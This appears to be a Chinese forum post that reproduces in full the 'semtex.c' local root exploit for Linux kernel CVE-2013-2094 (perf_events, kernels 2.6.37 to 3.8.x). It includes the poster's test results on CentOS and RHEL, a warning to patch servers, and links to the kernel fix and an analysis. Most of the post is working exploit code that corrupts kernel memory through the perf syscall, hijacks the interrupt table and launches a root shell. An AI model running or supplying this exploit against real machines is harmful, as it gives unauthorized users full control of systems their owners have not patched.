[CVE-2013-2094]Linux PREF_EVENTS Local Root 2.6.37-3.8.10 x86_64

http://sd.fucksheep.org/warez/semtex.c

又一个linux安全的偶像sd牛刚刚发出的作品。。感觉上基本是个通杀的东西,但是目前为止,我的测试是rh6.3和centos6.3,2.6.32 kernel成功root,6.4上目前只是挂了系统,只能证明漏洞是存在的。
待有缘人后来者修正之。

也要预警各位,赶紧修复各自的服务器。虽然貌似也就linux 3.8.10修了这个漏洞。。。
[php]
/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 sd@fucksheep.org, salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/

#define _GNU_SOURCE 1
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;

for (i=0; i<4000; i+=4) {
uint64_t *p = (void *)¤t[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}

void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert(!close(fd));
}

int main() {
uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = 5;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
sheep(-1); sheep(-2);
for (i = 0; i < SIZE/4; i++) if (map[i]) {
assert(map[i+1]);
break;
}
assert(i asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
if (!p) continue;
*p = j?((g<<32)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
asm("int $0x4"); assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}[/php]
-----------------------------
5.15 update:

最新消息,CVE号已经出来了。thx@请叫我大神 CVE-2013-2094
然后影响范围也有所缩减,实际上是3.8.9就已经修复了此漏洞。
其次这的确是个0day漏洞,目前各大厂商都还没有给出正式的二进制hotfix patch。
但是linux 内核上是有patch的,各位心急的可以参考下:
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8176cced706b5e5d15887584150764894e94e02f

如果你们对原理感兴趣,不妨去看看spender对漏洞的解析:
http://www.reddit.com/r/netsec/comments/1eb9iw/sdfucksheeporgs_semtexc_local_linux_root_exploit/c9ykrck

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